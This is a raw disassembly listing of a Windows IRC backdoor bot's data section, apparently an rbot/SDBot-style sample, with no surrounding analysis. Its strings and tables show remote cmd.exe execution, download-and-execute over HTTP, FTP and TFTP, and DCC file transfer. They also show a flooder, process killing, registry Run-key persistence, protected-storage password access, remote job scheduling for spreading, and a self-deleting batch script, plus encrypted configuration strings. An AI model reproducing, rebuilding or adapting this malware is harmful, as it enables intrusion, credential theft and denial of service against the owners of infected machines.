		db 0B9h	; ¹
		db 3, 6Ch, 73h
aTrcpya		db 'trcpyA',0
		align 10h
aZ		db 'Z',0
aCreatemutexa	db 'CreateMutexA',0
		align 10h
		db  0Ah
		db 3, 53h, 65h
aTerrormode	db 'tErrorMode',0
		align 10h
aKernel32_dll_0	db 'KERNEL32.dll',0
		align 2
		dw 2D5h
aWsprintfa	db 'wsprintfA',0
		dw 177h
aGetwindowtexta	db 'GetWindowTextA',0
		align 4
		db  17h
		db 1, 47h, 65h
aTforegroundwin	db 'tForegroundWindow',0
aU_0		db 'ã',0
aFindwindowa	db 'FindWindowA',0
		db  3Ah	; :
		db 2, 53h, 65h
aNdmessagea	db 'ndMessageA',0
		align 10h
		db  97h	; —
		db 1, 49h, 73h
aCharalphanumer	db 'CharAlphaNumericA',0
aUser32_dll	db 'USER32.dll',0
		align 2
		dw 1C9h
aRegclosekey	db 'RegCloseKey',0
		dd 655201D2h, 6C654467h, 56657465h, 65756C61h, 1D90041h
		dd 45676552h, 566D756Eh, 65756C61h, 1E20041h, 4F676552h
		dd 4B6E6570h, 78457965h, 1EC0041h, 51676552h, 79726575h
		dd 756C6156h, 41784565h, 1F90000h, 53676552h, 61567465h
		dd 4565756Ch, 4178h, 655201CDh,	65724367h, 4B657461h, 78457965h
		dd 1230041h, 55746547h,	4E726573h, 41656D61h, 0A00000h
aCryptreleaseco	db 'CryptReleaseContext',0
aC		db '–',0
aCryptgenrandom	db 'CryptGenRandom',0
		align 2
aE		db '…',0
aCryptacquireco	db 'CryptAcquireContextA',0
		align 2
aAdvapi32_dll	db 'ADVAPI32.dll',0
		align 4
		db    7
		db 1, 53h, 68h
aEllexecutea	db 'ellExecuteA',0
aShell32_dll	db 'SHELL32.dll',0
		db 0BDh	; ½
		db 1, 5Fh, 73h
aTrcmpi		db 'trcmpi',0
		align 10h
		db  34h	; 4
		db 1, 5Fh, 69h
		db  74h	; t
		db 6Fh,	61h, 0
		db 0C5h	; Å
		db 1, 5Fh, 73h
aTrnicmp	db 'trnicmp',0
aA_0		db 'A',0
a_cxxthrowexcep	db '_CxxThrowException',0
		align 2
		dw 0Eh
a??1type_info@@	db '??1type_info@@UAE@XZ',0
		align 2
		dw 252h
aLocalfree	db 'LocalFree',0
aOleaut32_dll_1	db 'OLEAUT32.dll',0
		align 4
		dd 6Dh dup(0)
off_418000	dd offset dword_418098	; DATA XREF: sub_401000+1Dr
					; sub_401000+2Er
		dd offset dword_41805C
		dd offset dword_418040
		dd offset dword_418014
		dd 0
dword_418014	dd 0C5BCA58Ch, 0E1CEC1C6h, 0AB9AFEA0h, 0EF83EDA3h, 0FE9D88B1h
					; DATA XREF: .data:0041800Co
		dd 0D6F7DFEFh, 0A087CF89h, 0ECAFEBB9h, 0F09CB083h, 2 dup(0)
dword_418040	dd 0E589938Ch, 0C7E0EDF4h, 0AD81C189h, 0EFB3F6BFh, 0DEB388B9h
					; DATA XREF: .data:00418008o
		dd 0C9CFh, 0
dword_41805C	dd 0E589938Ch, 0C7E0EDF4h, 0AD81C189h, 0EFB3F6BFh, 0C6B388B9h
					; DATA XREF: .data:00418004o
		dd 0CDF6E2EAh, 8DB4FFA2h, 0E5B2EBB8h, 0F4B988B1h, 0CDFBFFF1h
		dd 0BBBAD0BBh, 0F2A5CAA3h, 0F48C95A9h, 0F0h, 0
dword_418098	dd 0E589938Ch, 0C7E0EDF4h, 0AD81C189h, 0EFB3F6BFh, 0C6B388B9h
					; DATA XREF: .data:off_418000o
		dd 0CDF6E2EAh, 8DB4FFA2h, 0E5B2EBB8h, 0F4B988B1h, 0CDFBFFF1h
		dd 0BBBAD0BBh, 0A3h, 0
dword_4180CC	dd 2343003h, 2037525h, 746F6220h, 20297328h, 6E756F66h
					; DATA XREF: sub_401244+52Do
		dd 69772064h, 73206874h, 6E697274h, 30032067h, 73250234h
		dd 2E0203h
dword_4180F8	dd 62206F4Eh, 2073746Fh, 6E756F66h, 69772064h, 73206874h
					; DATA XREF: sub_401244+50Ao
		dd 6E697274h, 30032067h, 73250234h, 2E0203h
dword_41811C	dd 6E756F66h, 74732064h, 676E6972h, 34300320h, 3732502h
					; DATA XREF: sub_401244+412o
		dd 6E692002h, 20732520h, 34300328h, 3692502h, 2902h
dword_418144	dd 3430032Dh, 3752502h,	4C202D02h, 69747369h, 6220676Eh
					; DATA XREF: sub_401244+45o
		dd 2073746Fh, 68746977h, 72747320h, 20676E69h, 2343003h
		dd 2037325h, 3Ah
dword_418174	dd 62207325h, 2073746Fh, 68746977h, 72747320h, 20676E69h
					; DATA XREF: sub_4017AA+93o
		dd 2343003h, 2037325h, 0
aKilling	db 'Killing',0          ; DATA XREF: sub_4017AA:loc_401830o
aListing	db 'Listing',0          ; DATA XREF: sub_4017AA+7Do
dword_4181A4	dd 303h			; DATA XREF: sub_4018AF:loc_401942o
aCmd_exeProcess	db 'Cmd.exe process has terminated.',0 ; DATA XREF: sub_401981+2C9o
aCouldNotReadDa	db 'Could not read data from process.',0 ; DATA XREF: sub_401981+27Eo
		align 4
aCmd_exe	db 'cmd.exe',0          ; DATA XREF: sub_401981+48o
aErrorWhileExec	db 'Error while executing command.',0 ; DATA XREF: sub_401D6E+B9o
		align 4
asc_418214	db 0Dh,0Ah,0		; DATA XREF: sub_401D6E:loc_401E0Bo
					; sub_403DF3+18Co ...
		align 4
aRemoteCmdThrea	db 'Remote cmd thread',0 ; DATA XREF: sub_401D6E+7Eo
		align 4
aOpen		db 'open',0             ; DATA XREF: sub_401D6E+26o
					; sub_402A32+794o ...
		align 4
dword_418234	dd 65636552h, 64657669h, 34300320h, 3732502h, 72662002h
					; DATA XREF: sub_401E38+248o
		dd 3206D6Fh, 25023430h,	20020373h, 3206E69h, 25023430h
		dd 66322E30h, 65730203h, 69772063h, 3206874h, 25023430h
		dd 66332E30h, 424B0203h, 6365732Fh, 0
dword_418280	dd 3430032Dh, 3752502h,	52202D02h, 69656365h, 676E6976h
					; DATA XREF: sub_401E38+CCo
		dd 34300320h, 3732502h,	72662002h, 3206D6Fh, 25023430h
		dd 20373h
dword_4182AC	dd 6277h		; DATA XREF: sub_401E38+36o
					; sub_402698:loc_40288Eo ...
dword_4182B0	dd 746E6553h, 34300320h, 3732502h, 6F742002h, 34300320h
					; DATA XREF: sub_4020C2+3E1o
		dd 3732502h, 6E692002h,	34300320h, 2E302502h, 2036632h
		dd 20636573h, 68746977h, 34300320h, 2E302502h, 2036633h
		dd 732F424Bh, 6365h
dword_4182F4	dd 6E617254h, 72656673h, 20666F20h, 2343003h, 2037325h
					; DATA XREF: sub_4020C2+313o
		dd 206F7420h, 2343003h,	2037325h, 6E616320h, 6C6C6563h
		dd 6465h
dword_418320	dd 3430032Dh, 3752502h,	53202D02h, 69646E65h, 320676Eh
					; DATA XREF: sub_4020C2+28Eo
		dd 25023430h, 20020373h, 3206F74h, 25023430h, 20373h
dword_418348	dd 43434401h, 4E455320h, 25222044h, 25202273h, 73252064h
					; DATA XREF: sub_4020C2+20Fo
		dd 1642520h, 0
aDccSendSS	db 'DCC Send %s (%s)',0 ; DATA XREF: sub_4020C2+1D2o
		align 4
aRb		db 'rb',0               ; DATA XREF: sub_4020C2:loc_40220Fo
					; sub_406AE7+63o ...
		align 4
dword_41837C	dd 65636552h, 6E697669h, 30032067h, 73250234h, 66200203h
					; DATA XREF: sub_4024F3+101o
		dd 206D6F72h, 2343003h,	2037325h, 0
dword_4183A0	dd 646E6553h, 20676E69h, 2343003h, 2037325h, 206F7420h
					; DATA XREF: sub_40260D+72o
		dd 2343003h, 2037325h, 0
aContentLengthU	db 'Content-Length: %u',0Dh,0Ah,0 ; DATA XREF: sub_402698+155o
		align 4
aContentLength	db 'Content-Length: ',0 ; DATA XREF: sub_402698+104o
		align 4
asc_4183EC	db 0Dh,0Ah		; DATA XREF: sub_402698:loc_402758o
		db 0Dh,0Ah,0
		align 4
aGetSHttp1_0Hos	db 'GET /%s HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_402698+3Ao
					; sub_4088FC+E9o
		db 'Host: %s',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
dword_418414	dd 3430032Dh, 3752502h,	45202D02h, 726F7272h, 69687720h
					; DATA XREF: sub_402A32+7F6o
		dd 6420656Ch, 6C6E776Fh, 6964616Fh, 320676Eh, 25023430h
		dd 2E020373h, 0
dword_418444	dd 3430032Dh, 3752502h,	55202D02h, 6C62616Eh, 6F742065h
					; DATA XREF: sub_402A32+7D1o
		dd 61747320h, 3207472h,	25023430h, 2E020373h, 0
dword_41846C	dd 3430032Dh, 3752502h,	53202D02h, 65636375h, 75667373h
					; DATA XREF: sub_402A32+738o
		dd 20796C6Ch, 6E776F64h, 64616F6Ch, 3206465h, 25023430h
		dd 20020373h, 68746977h, 34300320h, 2E302502h, 2036632h
		dd 732F424Bh, 73256365h, 2Eh
dword_4184B4	dd 7865202Ch, 74756365h, 676E69h ; DATA	XREF: sub_402A32+6B0o
dword_4184C0	dd 7075202Ch, 69746164h, 676Eh ; DATA XREF: sub_402A32+699o
unk_4184CC	db  2Dh	; -		; DATA XREF: sub_402A32+50Eo
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aNoFileToDownlo	db '- No file to download specified.',0
		align 4
asc_4184F8:				; DATA XREF: sub_402A32:loc_402F16o
		unicode	0, </>,0
asc_4184FC:				; DATA XREF: sub_402A32+45Fo
					; sub_414EF4+644o ...
		unicode	0, <:>,0
unk_418500	db  2Dh	; -		; DATA XREF: sub_402A32+3E4o
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aUnsupportedPro	db '- Unsupported protocol specified.',0
		align 4
a69		db '69',0               ; DATA XREF: sub_402A32+3A8o
		align 10h
aTftp		db 'tftp://',0          ; DATA XREF: sub_402A32+387o
aAnonymous	db 'anonymous',0        ; DATA XREF: sub_402A32+35Ao
					; sub_402A32+36Do
		align 4
a21		db '21',0               ; DATA XREF: sub_402A32+328o
		align 4
aFtp		db 'ftp://',0           ; DATA XREF: sub_402A32+307o
		align 10h
a80		db '80',0               ; DATA XREF: sub_402A32+2CEo
					; sub_4043E9+27o ...
		align 4
aHttp		db 'http://',0          ; DATA XREF: sub_402A32+2ADo
dword_41855C	dd 3430032Dh, 3752502h,	43202D02h, 6F6E6E61h, 65722074h
					; DATA XREF: sub_402A32+135o
		dd 73206461h, 6372756Fh, 69662065h, 320656Ch, 25023430h
		dd 2E020373h, 0
dword_41858C	dd 3430032Dh, 3752502h,	43202D02h, 6F6E6E61h, 72772074h
					; DATA XREF: sub_402A32+110o
		dd 20657469h, 64206F74h, 69747365h, 6974616Eh, 66206E6Fh
		dd 20656C69h, 2343003h,	2037325h, 2Eh
dword_4185C4	dd 656C6966h, 2F2F3Ah	; DATA XREF: sub_402A32+C0o
dword_4185CC	dd 3430032Dh, 3752502h,	44202D02h, 6C6E776Fh, 6964616Fh
					; DATA XREF: sub_402A32+AAo
		dd 320676Eh, 25023430h,	20020373h, 3206F74h, 25023430h
		dd 2E020373h, 0
dword_4185FC	dd 6E776F44h, 64616F6Ch, 20676E69h, 2343003h, 2037325h
					; DATA XREF: sub_403260+B2o
		dd 206F7420h, 2343003h,	2037325h, 0
dword_418620	dd 6578652Eh, 0		; DATA XREF: sub_403260+43o
					; sub_412720+51o
aQuitRestarting	db 'QUIT :restarting',0 ; DATA XREF: sub_40332B:loc_403538o
					; sub_40332B:loc_403545o ...
		align 4
aQuitExitting	db 'QUIT :exitting',0   ; DATA XREF: sub_40332B+200o
					; sub_40A9CF:loc_40BD52o
		align 4
dword_41864C	dd 3430032Dh, 62656402h, 2036775h ; DATA XREF: sub_40332B+19Co
aModuleSReporte	db '- Module "%s" reported a crash in "%s": N=%u EAX=%08X EBX=%08X EC'
		db 'X=%08X EDX=%08X ESI=%08X EDI=%08X EBP=%08X ESP=%08X EIP=%08X EFLA'
		db 'GS=%08X. Code: %08X (%s). %s...',0
		align 4
aContinuing	db 'Continuing',0       ; DATA XREF: sub_40332B:loc_40342Ao
		align 4
aRestarting	db 'Restarting',0       ; DATA XREF: sub_40332B+F3o
		align 4
aException_flt	db 'EXCEPTION_FLT',0    ; DATA XREF: sub_40332B:loc_40340Co
		align 4
aException_stac	db 'EXCEPTION_STACK_OVERFLOW',0 ; DATA XREF: sub_40332B:loc_403403o
		align 10h
aException_nonc	db 'EXCEPTION_NONCONTINUABLE_EXCEPTION',0
					; DATA XREF: sub_40332B:loc_4033FAo
		align 4
aException_int_	db 'EXCEPTION_INT_DIVIDE_BY_ZERO',0 ; DATA XREF: sub_40332B:loc_4033F1o
		align 4
aException_ille	db 'EXCEPTION_ILLEGAL_INSTRUCTION',0 ; DATA XREF: sub_40332B:loc_4033E8o
		align 4
aException_brea	db 'EXCEPTION_BREAKPOINT',0 ; DATA XREF: sub_40332B:loc_4033DFo
		align 4
aException_acce	db 'EXCEPTION_ACCESS_VIOLATION',0 ; DATA XREF: sub_40332B:loc_4033D6o
		align 4
aException_othe	db 'EXCEPTION_OTHER',0  ; DATA XREF: sub_40332B+27o
aUdp		db 'udp',0              ; DATA XREF: sub_4038BA+27Co
aInternetgetcon	db 'InternetGetConnectedStateExA',0 ; DATA XREF: sub_403BD3+20Bo
		align 4
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_403BD3:loc_403DCAo
aPstorecreatein	db 'PStoreCreateInstance',0 ; DATA XREF: sub_403BD3+1E4o
		align 10h
aPstorec_dll	db 'pstorec.dll',0      ; DATA XREF: sub_403BD3:loc_403DA3o
aFreeaddrinfo	db 'freeaddrinfo',0     ; DATA XREF: sub_403BD3+184o
		align 4
aGetnameinfo	db 'getnameinfo',0      ; DATA XREF: sub_403BD3+171o
aGetaddrinfo	db 'getaddrinfo',0      ; DATA XREF: sub_403BD3+15Eo
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_403BD3:loc_403D23o
		align 10h
aWnetcancelco_0	db 'WNetCancelConnection2W',0 ; DATA XREF: sub_403BD3+13Do
		align 4
aWnetcancelconn	db 'WNetCancelConnection2A',0 ; DATA XREF: sub_403BD3+12Ao
		align 10h
aWnetaddconne_0	db 'WNetAddConnection2W',0 ; DATA XREF: sub_403BD3+117o
aWnetaddconnect	db 'WNetAddConnection2A',0 ; DATA XREF: sub_403BD3+104o
aMpr_dll	db 'mpr.dll',0          ; DATA XREF: sub_403BD3:loc_403CC3o
aNetaddalternat	db 'NetAddAlternateComputerName',0 ; DATA XREF: sub_403BD3+DDo
aNetschedulejob	db 'NetScheduleJobAdd',0 ; DATA XREF: sub_403BD3+CAo
		align 10h
aNetapibufferfr	db 'NetApiBufferFree',0 ; DATA XREF: sub_403BD3+B7o
		align 4
aNetremotetod	db 'NetRemoteTOD',0     ; DATA XREF: sub_403BD3+A4o
		align 4
aNetshareenum	db 'NetShareEnum',0     ; DATA XREF: sub_403BD3+91o
		align 4
aNetuserenum	db 'NetUserEnum',0      ; DATA XREF: sub_403BD3+7Eo
aNetusedel	db 'NetUseDel',0        ; DATA XREF: sub_403BD3+6Bo
		align 4
aNetuseadd	db 'NetUseAdd',0        ; DATA XREF: sub_403BD3+58o
		align 4
aNetusegetinfo	db 'NetUseGetInfo',0    ; DATA XREF: sub_403BD3+45o
		align 4
aNetapi32_dll	db 'netapi32.dll',0     ; DATA XREF: sub_403BD3:loc_403C00o
		align 4
aInitializecrit	db 'InitializeCriticalSectionAndSpinCount',0 ; DATA XREF: sub_403BD3+1Ao
		align 10h
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_403BD3+6o
		align 10h
aUseridUnix	db ' : USERID : UNIX : ',0 ; DATA XREF: sub_403DF3:loc_403F57o
dword_4189C4	dd 3430032Dh, 3752502h,	52202D02h, 696E6E75h, 6920676Eh
					; DATA XREF: sub_403DF3+6Eo
		dd 746E6564h, 65732064h, 72657672h, 206E6F20h, 74726F70h
		dd 34300320h, 3732502h,	2
dword_4189F8	dd 6E656449h, 73206474h, 65767265h, 6E6F2072h, 726F7020h
					; DATA XREF: sub_403FE5+7Eo
		dd 30032074h, 73250234h, 203h
dword_418A18	dd 333131h		; DATA XREF: sub_403FE5:loc_403FFDo
dword_418A1C	dd 0BF988BA8h, 0CCFDEEB5h, 0AB86A2B0h, 0B9h, 0 ; DATA XREF: sub_4043E9+6o
dword_418A30	dd 2E3031h		; DATA XREF: sub_4041B7+56o
dword_418A34	dd 2E323931h, 2E383631h, 0 ; DATA XREF:	sub_4041B7+3Bo
dword_418A40	dd 2E323731h, 0		; DATA XREF: sub_4041B7+20o
dword_418A48	dd 2E373231h, 0		; DATA XREF: sub_4041B7+5o
dword_418A50	dd 252E7525h, 75252E75h, 75252Eh ; DATA	XREF: sub_40D871+1CCo
					; sub_41113B+45Ao
dword_418A5C	dd 313A3Ah		; DATA XREF: sub_40435B+42o
dword_418A60	dd 7525h		; DATA XREF: sub_4055E5+458o
					; sub_4055E5+69Eo ...
dword_418A64	dd 252E7525h, 75252E75h, 3A75252Eh, 7525h ; DATA XREF: sub_4055E5+31Eo
					; sub_4055E5+40Bo ...
aU_U_U_UU	db '%u.%u.%u.%u:%u',0Dh,0Ah,0 ; DATA XREF: sub_4055E5+2A3o
					; sub_4055E5+3AFo ...
		align 4
aU		db '%u',0Dh,0Ah,0       ; DATA XREF: sub_4055E5+229o
					; sub_4055E5+351o ...
		align 10h
aLgFlooder	db 'LG flooder',0       ; DATA XREF: sub_405E45+109o
		align 4
aGetmoduleinfor	db 'GetModuleInformation',0 ; DATA XREF: sub_405FA3+5Eo
		align 4
aGetmodulefilen	db 'GetModuleFileNameExA',0 ; DATA XREF: sub_405FA3+4Bo
		align 4
aEnumprocessmod	db 'EnumProcessModules',0 ; DATA XREF: sub_405FA3+38o
		align 10h
aEnumprocesses	db 'EnumProcesses',0    ; DATA XREF: sub_405FA3:loc_405FC8o
		align 10h
aPsapi_dll	db 'psapi.dll',0        ; DATA XREF: sub_405FA3+Fo
		align 4
aSystem		db 'system',0           ; DATA XREF: sub_406041+136o
					; .data:0041BBD0o ...
		align 4
dword_418B04	dd 2343003h, 3693425h, 25202E02h, 20583830h, 58383025h
					; DATA XREF: sub_40637C+FEo
		dd 732520h
dword_418B1C	dd 3430032Dh, 3752502h,	4C202D02h, 69747369h, 320676Eh
					; DATA XREF: sub_40637C+51o
		dd 25023430h, 2032569h,	6F727020h, 73736563h, 3A7365h
dword_418B44	dd 7473694Ch, 6F727020h, 73736563h, 7365h ; DATA XREF: sub_4064BF+31o
dword_418B54	dd 58323025h, 0		; DATA XREF: sub_406722+266o
					; sub_4147E5+11o ...
dword_418B5C	dd 58383025h, 0		; DATA XREF: sub_406722+201o
					; sub_40A9CF+1C12o
dword_418B64	dd 7325h		; DATA XREF: sub_406722+1E3o
					; sub_406722+296o ...
aHkus		db 'HKUS',0             ; DATA XREF: sub_406722+8Do
		align 10h
aHklm		db 'HKLM',0             ; DATA XREF: sub_406722+6Bo
		align 4
aHkcu		db 'HKCU',0             ; DATA XREF: sub_406722+49o
		align 10h
aHkcr		db 'HKCR',0             ; DATA XREF: sub_406722+27o
		align 4
off_418B88	dd offset dword_418DD0	; DATA XREF: sub_406E8E+4Br
					; sub_406E8E+8Dr ...
off_418B8C	dd offset dword_418DA8	; DATA XREF: sub_406E8E+106r
					; sub_406E8E+12Ar ...
		dd offset dword_418D98
		dd offset dword_418DA8
		dd offset loc_418D88
		dd offset dword_418D64
		dd offset dword_418D54
		dd offset dword_418D34
		dd offset loc_418D20
		dd offset dword_418D34
		dd offset dword_418D0C
		dd offset dword_418CF4
		dd offset dword_418CE4
		dd offset dword_418CD0
		dd offset dword_418CBC
		dd offset dword_418C9C
		dd offset dword_418C88
		dd offset dword_418C6C
		dd offset dword_418C5C
		dd offset dword_418C6C
		dd offset loc_418C4C
		dd offset dword_418C24
		dd offset dword_418C10
		dd offset dword_418BF0
		align 10h
dword_418BF0	dd 0E38C9592h, 0C4FDFFECh, 0A0A1ACA1h, 0EEB2FCB9h, 0D4CF88BAh
					; DATA XREF: .data:00418BE4o
		dd 0CDFEFCFBh, 9AE9A7h,	0
dword_418C10	dd 0E19799B6h, 0C7E0E3EFh, 0AB90E9FBh, 2 dup(0)	; DATA XREF: .data:00418BE0o
dword_418C24	dd 0FD9F8C9Eh, 0D6F3EFEAh, 0EE86E3BCh, 0E5B9F881h, 0F0A8DCADh
					; DATA XREF: .data:00418BDCo
		dd 0C3E5E9F7h, 0ABBBACACh, 0E3A9EFBFh, 0BAh, 0
; ---------------------------------------------------------------------------


loc_418C4C:				; DATA XREF: .data:00418BD8o
		mov	esi, 0ADE28890h
		jmp	loc_425440
; ---------------------------------------------------------------------------
		align 4
		dd 0
dword_418C5C	dd 0FE808CACh, 8CE4FFCAh, 8DF4B0h, 0 ; DATA XREF: .data:00418BD0o
dword_418C6C	dd 0FE808C8Ch, 82E0E9EFh, 9D8AF986h, 0E5B4EAB4h, 0E1AEDCB2h
					; DATA XREF: .data:00418BCCo
					; .data:00418BD4o
		dd 0F3h, 0
dword_418C88	dd 0FE808CACh, 0C1E4FFEFh, 0AB90E9FBh, 2 dup(0)	; DATA XREF: .data:00418BC8o
dword_418C9C	dd 0F5819588h, 82E1FBECh, 0B99CE99Bh, 0A0ABEBA2h, 0F49D9599h
					; DATA XREF: .data:00418BC4o
		dd 0CEFEEDF4h, 2 dup(0)
dword_418CBC	dd 0F49D95B9h, 0CEFEEDF4h, 0AB90E9FBh, 2 dup(0)	; DATA XREF: .data:00418BC0o
dword_418CD0	dd 0F0819588h, 0E3B2FCEEh, 0BA86E9B2h, 2 dup(0)	; DATA XREF: .data:00418BBCo
dword_418CE4	dd 0F08195A8h, 0C7BCFCEEh, 0E9ADh, 0 ; DATA XREF: .data:00418BB8o
dword_418CF4	dd 0F5819588h, 82E1FBECh, 0A298F490h, 0F2A5EBA2h, 2 dup(0)
					; DATA XREF: .data:00418BB4o
dword_418D0C	dd 0FD9F84BAh, 0D0F7FEECh, 0AB90E9FBh, 2 dup(0)	; DATA XREF: .data:00418BB0o
; ---------------------------------------------------------------------------


loc_418D20:				; DATA XREF: .data:00418BA8o
		test	al, 95h
		sbb	eax, 0CCFDEBECh
		sti
		jmp	loc_4238BE
; ---------------------------------------------------------------------------
		align 10h
		dd 0
dword_418D34	dd 0F5819588h, 82E1FBECh, 0A18FE399h, 0F081B9A3h, 0F28690AFh
					; DATA XREF: .data:00418BA4o
					; .data:00418BACo
		dd 0CDFBF8E2h, 0BBh, 0
dword_418D54	dd 0FE8893B3h, 0DAF7A2EDh, 0B0h, 0 ; DATA XREF:	.data:00418BA0o
dword_418D64	dd 0F486909Ch, 0F1B2F8EDh, 0AB9EFEB0h, 0F592B9BFh, 0FC8688B1h
					; DATA XREF: .data:00418B9Co
		dd 0D0C2ACE6h, 0BD8DEFBAh, 0BEh, 0
; ---------------------------------------------------------------------------


loc_418D88:				; DATA XREF: .data:00418B98o
		mov	esp, 0ADE29D8Fh
		jmp	loc_42557C
; ---------------------------------------------------------------------------
		align 8
dword_418D98	dd 0E28E8F96h, 0DAF7A2F0h, 0B0h, 0 ; DATA XREF:	.data:00418B90o
dword_418DA8	dd 0F08C9393h, 0C7C1ACEFh, 0A79AF9B6h, 0C1E0E0B9h, 0FE8788AAh
					; DATA XREF: .data:off_418B8Co
					; .data:00418B94o
		dd 0DBE6E5F1h, 0BC8DDFF5h, 0E5A3F0BBh, 2 dup(0)
dword_418DD0	dd 0F09C8FB3h, 0DAF7A2F0h, 0B0h, 0 ; DATA XREF:	.data:off_418B88o
dword_418DE0	dd 293Ah		; DATA XREF: sub_406A23+9Co
dword_418DE4	dd 5Ch			; DATA XREF: sub_406A23+1Bo
					; sub_406AE7+1Bo ...
dword_418DE8	dd 7078655Ch, 65726F6Ch, 78652E72h, 65h	; DATA XREF: sub_406B81+1Bo
aSoftwareMicros	db 'Software\Microsoft\Windows\CurrentVersion\Run',0
					; DATA XREF: sub_406C51+1Co
		align 4
a@echoOffDelete	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_406D90+A8o
		db ':deleteagain',0Dh,0Ah
		db 'del /A:H /F %s',0Dh,0Ah
		db 'del /F %s',0Dh,0Ah
		db 'if exist %s goto deleteagain',0Dh,0Ah
		db 'del %s',0Dh,0Ah,0
		align 4
a_bat		db '.bat',0             ; DATA XREF: sub_406D90+39o
		align 4
aWindowsDllLoad	db 'Windows DLL Loader',0 ; DATA XREF: sub_406E8E+20Do
					; sub_407148+19Do
		align 10h
aQuitSUninstall	db 'QUIT :%s uninstalled.',0 ; DATA XREF: sub_407148+177o
					; sub_407148+1C9o
		align 4
dword_418EB8	dd 6E6E6F43h, 69746365h, 66206E6Fh, 206D6F72h, 2343003h
					; DATA XREF: sub_40732D+115o
		dd 2037325h, 206F7420h,	6B636F73h, 34300373h, 3752502h
		dd 65732002h, 72657672h, 7325h
dword_418EEC	dd 6A657220h, 65746365h, 64h ; DATA XREF: sub_40732D:loc_407423o
dword_418EF8	dd 3430032Dh, 3752502h,	52202D02h, 696E6E75h, 7320676Eh
					; DATA XREF: sub_40764D+6Ao
		dd 736B636Fh, 72657320h, 20726576h, 70206E6Fh, 2074726Fh
		dd 2343003h, 2037325h, 0
dword_418F2C	dd 6B636F53h, 65732073h, 72657672h, 206E6F20h, 74726F70h
					; DATA XREF: sub_4077DD+9Co
		dd 34300320h, 3732502h,	2
dword_418F4C	dd 20h			; DATA XREF: sub_407928+4Co
					; sub_407928+96o ...
dword_418F50	dd 30h			; DATA XREF: sub_407E0C+CBo
					; sub_40CA29+13Do ...
dword_418F54	dd 252E7325h, 73252E73h, 73252Eh ; DATA	XREF: sub_407F3D+118o
					; sub_40806A+BDo
dword_418F60	dd 0BF818FB2h, 0FFE3E0h, 0 ; DATA XREF:	sub_408887+6o
dword_418F6C	dd 0BF988BA8h, 0D0E0E9F7h, 0A18BA2B4h, 0F2A2B7A0h, 2 dup(0)
					; DATA XREF: sub_408887+14o
dword_418F84	dd 0BF818FB2h, 0E9E7h, 0 ; DATA	XREF: sub_408887+22o
dword_418F90	dd 0FC9A9DBBh, 0D6F7E2ADh, 2 dup(0) ; DATA XREF: sub_408887+30o
dword_418FA0	dd 0F68093B8h, 0C3BCE9EFh, 0B0h, 0 ; DATA XREF:	sub_408887+3Eo
dword_418FB0	dd 0F48195B1h, 8CFCFFEEh, 0E085E3B6h, 0ECACh, 0	; DATA XREF: sub_408887+4Co
off_418FC4	dd offset dword_4190E8	; DATA XREF: sub_4088FC+19r
					; sub_4088FC+60r
off_418FC8	dd offset dword_4190B4	; DATA XREF: sub_4088FC+8Ar
		dd offset dword_419098
		dd offset dword_419054
		dd offset dword_41903C
		dd offset dword_418FE4
		dd 2 dup(0)
dword_418FE4	dd 0FF9893BBh, 0C6F3E3EFh, 0A389EBFBh, 0F9EEEAA8h, 0FE8094BEh
					; DATA XREF: .data:00418FD8o
		dd 0CFFDEFADh, 0A389EBFAh, 0E4EFEAA8h, 0FD818BB0h, 8DF6EDECh
		dd 0A08FE5A6h, 0F0EFFDA8h, 0F08C8CB0h, 0C3EBA3F3h, 9187E3BDh
		dd 0E5AAFCAFh, 0F48399A8h, 0D6CDBEE7h, 0FFC5BDB8h, 0E5B8FCE3h
		dd 2 dup(0)
dword_41903C	dd 0F6C18FAAh, 0D1F7E1E2h, 0A791A2E4h, 0E3EEFEA0h, 91B0h
					; DATA XREF: .data:00418FD4o
		dd 0
dword_419054	dd 0FF9893BBh, 0C6F3E3EFh, 0FFC7BFFAh, 0B3EFFFE2h, 0A0DB9AEEh
					; DATA XREF: .data:00418FD0o
		dd 8FA5BEB7h, 0ABDCBCEDh, 0E6F8ADE0h, 0F2D7D1E6h, 97BFB4B2h
		dd 0F78CBDB4h, 0B8F5FBFEh, 0BE8ACFEAh, 0D1F3FFEEh, 0E08BE2ACh
		dd 0A5E1A8h, 0
dword_419098	dd 0FF9893BBh, 0C6F3E3EFh, 0AD81E1FBh, 0EFB3F6BFh, 0F2C188B9h
					; DATA XREF: .data:00418FCCo
		dd 0E1ECh, 0
dword_4190B4	dd 0F09B9DBBh, 8DFCE9ACh, 0E18FE5B7h, 0F2B2ECAEh, 0BE9B92BAh
					; DATA XREF: .data:off_418FC8o
		dd 0C5FDE3C4h, 0A1BCE9B9h, 0E1A2F5A2h, 0E281B5ADh, 0CEFEEDF7h
		dd 0ABC6FEB0h, 0FCB5h, 0
dword_4190E8	dd 0FD8093ABh, 8CE0EDE1h, 0A987E3B2h, 0E3EEFCA1h, 91B0h
					; DATA XREF: .data:off_418FC4o
		dd 0
off_419100	dd offset loc_415353+2	; DATA XREF: sub_408342+2Co
dword_419104	dd 74737953h, 69206D65h, 726F666Eh, 6974616Dh, 2D206E6Fh
					; DATA XREF: sub_4083AD+3CEo
		dd 3A534F20h, 6E695720h, 73776F64h, 34300320h, 3732502h
		dd 25282002h, 76202C73h, 2343003h, 252E6425h, 2C020364h
		dd 30036220h, 64250234h, 2E290203h, 55504320h, 7325203Ah
		dd 34300320h, 3642502h,	7A484D02h, 6152202Eh, 3203A6Dh
		dd 25023430h, 4D020364h, 30032F42h, 64250234h, 424D0203h
		dd 65726620h, 49202E65h, 3A367650h, 34300320h, 3732502h
		dd 55202E02h, 6D697470h, 3203A65h, 25023430h, 64020364h
		dd 73257961h, 34300320h, 3642502h, 756F6802h, 20732572h
		dd 2343003h, 2036425h, 756E696Dh, 73256574h, 6F43202Eh
		dd 7475706Dh, 616E7265h, 203A656Dh, 2343003h, 2037325h
		dd 7355202Eh, 203A7265h, 2343003h, 2037325h, 0A0D2Eh
dword_4191F4	dd 73h			; DATA XREF: sub_4083AD:loc_4086C8o
					; sub_4083AD:loc_4086E7o ...
